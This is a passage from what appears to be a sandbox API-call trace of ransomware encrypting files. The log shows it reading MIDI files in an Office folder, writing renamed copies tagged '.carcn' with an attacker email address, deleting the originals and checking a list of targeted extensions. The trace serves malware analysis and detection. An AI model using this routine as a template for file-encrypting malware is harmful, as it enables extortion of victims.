lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0273.562] WriteFile (in: hFile=0x54c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0273.562] SetEndOfFile (hFile=0x54c) returned 1 [0273.562] CloseHandle (hObject=0x54c) returned 1 [0273.562] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.563] SetEndOfFile (hFile=0x524) returned 1 [0273.918] CloseHandle (hObject=0x524) returned 1 [0273.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0273.927] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid")) returned 1 [0273.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0273.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0273.928] lstrlenW (lpString=".doc") returned 4 [0273.928] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.928] lstrlenW (lpString=".docx") returned 5 [0273.928] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0273.928] lstrlenW (lpString=".pdf") returned 4 [0273.928] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.928] lstrlenW (lpString=".xls") returned 4 [0273.928] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.928] lstrlenW (lpString=".xlsx") returned 5 [0273.928] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0273.928] lstrlenW (lpString=".ppt") returned 4 [0273.928] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0273.928] lstrlenW (lpString=".zip") returned 4 [0273.928] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.928] lstrlenW (lpString=".rar") returned 4 [0273.928] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.928] lstrlenW (lpString=".bz2") returned 4 [0273.928] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.929] lstrlenW (lpString=".7z") returned 3 [0273.929] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0273.929] lstrlenW (lpString=".dbf") returned 4 [0273.929] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0273.929] lstrlenW (lpString=".1cd") returned 4 [0273.929] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0273.929] lstrlenW (lpString=".jpg") returned 4 [0273.929] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0273.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0273.929] lstrlenW (lpString=".doc") returned 4 [0273.929] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.929] lstrlenW (lpString=".docx") returned 5 [0273.929] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0273.929] lstrlenW (lpString=".pdf") returned 4 [0273.929] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.929] lstrlenW (lpString=".xls") returned 4 [0273.929] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.929] lstrlenW (lpString=".xlsx") returned 5 [0273.929] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0273.929] lstrlenW (lpString=".ppt") returned 4 [0273.929] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0273.929] lstrlenW (lpString=".zip") returned 4 [0273.929] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.929] lstrlenW (lpString=".rar") returned 4 [0273.929] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.929] lstrlenW (lpString=".bz2") returned 4 [0273.929] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.930] lstrlenW (lpString=".7z") returned 3 [0273.930] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0273.930] lstrlenW (lpString=".dbf") returned 4 [0273.930] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0273.930] lstrlenW (lpString=".1cd") returned 4 [0273.930] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0273.930] lstrlenW (lpString=".jpg") returned 4 [0273.930] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.930] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0273.930] lstrlenW (lpString="SUMER_01.MID") returned 12 [0273.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0273.941] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=14044) returned 1 [0273.941] CloseHandle (hObject=0x544) returned 1 [0273.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid")) returned 0x220 [0273.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0273.942] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.942] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0273.943] GetLastError () returned 0x0 [0273.943] ReadFile (in: hFile=0x544, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x36dc, lpOverlapped=0x0) returned 1 [0274.055] WriteFile (in: hFile=0x4bc, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x36e0, lpOverlapped=0x0) returned 1 [0274.057] ReadFile (in: hFile=0x544, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0274.057] WriteFile (in: hFile=0x4bc, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0274.058] SetEndOfFile (hFile=0x4bc) returned 1 [0274.058] CloseHandle (hObject=0x4bc) returned 1 [0274.058] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.058] SetEndOfFile (hFile=0x544) returned 1 [0274.062] CloseHandle (hObject=0x544) returned 1 [0274.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0274.062] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid")) returned 1 [0274.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0274.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0274.064] lstrlenW (lpString=".doc") returned 4 [0274.065] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0274.065] lstrlenW (lpString=".docx") returned 5 [0274.065] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0274.065] lstrlenW (lpString=".pdf") returned 4 [0274.065] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0274.065] lstrlenW (lpString=".xls") returned 4 [0274.065] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0274.065] lstrlenW (lpString=".xlsx") returned 5 [0274.065] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0274.065] lstrlenW (lpString=".ppt") returned 4 [0274.065] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0274.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0274.065] lstrlenW (lpString=".zip") returned 4 [0274.065] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0274.065] lstrlenW (lpString=".rar") returned 4 [0274.065] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0274.065] lstrlenW (lpString=".bz2") returned 4 [0274.065] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0274.065] lstrlenW (lpString=".7z") returned 3 [0274.065] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0274.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0274.065] lstrlenW (lpString=".dbf") returned 4 [0274.065] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0274.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0274.066] lstrlenW (lpString=".1cd") returned 4 [0274.066] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0274.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0274.066] lstrlenW (lpString=".jpg") returned 4 [0274.066] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0274.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0274.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0274.066] lstrlenW (lpString=".doc") returned 4 [0274.066] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0274.066] lstrlenW (lpString=".docx") returned 5 [0274.066] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0274.066] lstrlenW (lpString=".pdf") returned 4 [0274.066] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0274.066] lstrlenW (lpString=".xls") returned 4 [0274.066] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0274.066] lstrlenW (lpString=".xlsx") returned 5 [0274.066] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0274.066] lstrlenW (lpString=".ppt") returned 4 [0274.066] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0274.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0274.066] lstrlenW (lpString=".zip") returned 4 [0274.066] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0274.066] lstrlenW (lpString=".rar") returned 4 [0274.067] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0274.067] lstrlenW (lpString=".bz2") returned 4 [0274.067] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0274.067] lstrlenW (lpString=".7z") returned 3 [0274.067] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0274.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0274.067] lstrlenW (lpString=".dbf") returned 4 [0274.067] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0274.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0274.067] lstrlenW (lpString=".1cd") returned 4 [0274.067] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0274.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0274.067] lstrlenW (lpString=".jpg") returned 4 [0274.067] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0274.067] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0274.067] lstrlenW (lpString="URBAN_01.MID") returned 12 [0274.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0274.070] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=13358) returned 1 [0274.070] CloseHandle (hObject=0x544) returned 1 [0274.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid")) returned 0x220 [0274.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0274.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0274.073] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.073] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0274.074] GetLastError () returned 0x0 [0274.074] ReadFile (in: hFile=0x544, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x342e, lpOverlapped=0x0) returned 1 [0274.094] WriteFile (in: hFile=0x4bc, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x3430, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x3430, lpOverlapped=0x0) returned 1 [0274.096] ReadFile (in: hFile=0x544, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0274.096] WriteFile (in: hFile=0x4bc, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0274.096] SetEndOfFile (hFile=0x4bc) returned 1 [0274.096] CloseHandle (hObject=0x4bc) returned 1 [0274.096] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.096] SetEndOfFile (hFile=0x544) returned 1 [0274.100] CloseHandle (hObject=0x544) returned 1 [0274.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0274.100] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid")) returned 1 [0274.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0274.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0274.101] lstrlenW (lpString=".doc") returned 4 [0274.101] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0274.101] lstrlenW (lpString=".docx") returned 5 [0274.101] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0274.102] lstrlenW (lpString=".pdf") returned 4 [0274.102] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0274.102] lstrlenW (lpString=".xls") returned 4 [0274.102] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0274.102] lstrlenW (lpString=".xlsx") returned 5 [0274.102] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0274.102] lstrlenW (lpString=".ppt") returned 4 [0274.102] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0274.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0274.102] lstrlenW (lpString=".zip") returned 4 [0274.102] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0274.102] lstrlenW (lpString=".rar") returned 4 [0274.102] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0274.102] lstrlenW (lpString=".bz2") returned 4 [0274.102] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0274.102] lstrlenW (lpString=".7z") returned 3 [0274.102] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0274.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0274.102] lstrlenW (lpString=".dbf") returned 4 [0274.103] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0274.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0274.103] lstrlenW (lpString=".1cd") returned 4 [0274.103] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0274.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0274.103] lstrlenW (lpString=".jpg") returned 4 [0274.103] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0274.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0274.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0274.103] lstrlenW (lpString=".doc") returned 4 [0274.103] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0274.103] lstrlenW (lpString=".docx") returned 5 [0274.103] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0274.103] lstrlenW (lpString=".pdf") returned 4 [0274.103] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0274.103] lstrlenW (lpString=".xls") returned 4 [0274.103] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0274.103] lstrlenW (lpString=".xlsx") returned 5 [0274.103] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0274.103] lstrlenW (lpString=".ppt") returned 4 [0274.104] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0274.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0274.104] lstrlenW (lpString=".zip") returned 4 [0274.104] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0274.104] lstrlenW (lpString=".rar") returned 4 [0274.104] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0274.104] lstrlenW (lpString=".bz2") returned 4 [0274.104] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0274.104] lstrlenW (lpString=".7z") returned 3 [0274.104] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0274.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0274.104] lstrlenW (lpString=".dbf") returned 4 [0274.104] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0274.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0274.104] lstrlenW (lpString=".1cd") returned 4 [0274.104] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0274.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0274.104] lstrlenW (lpString=".jpg") returned 4 [0274.104] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0274.104] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0274.104] lstrlenW (lpString="VCTRN_01.MID") returned 12 [0274.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0274.105] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=4961) returned 1 [0274.106] CloseHandle (hObject=0x544) returned 1 [0274.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid")) returned 0x220 [0274.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0274.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0274.106] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.106] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0274.107] GetLastError () returned 0x0 [0274.107] ReadFile (in: hFile=0x544, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x1361, lpOverlapped=0x0) returned 1 [0275.773] WriteFile (in: hFile=0x4bc, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x1370, lpOverlapped=0x0) returned 1 [0275.774] ReadFile (in: hFile=0x544, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0275.774] WriteFile (in: hFile=0x4bc, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0275.774] SetEndOfFile (hFile=0x4bc) returned 1 [0275.777] CloseHandle (hObject=0x4bc) returned 1 [0275.778] SetFilePointerEx (in: hFile=0x544, 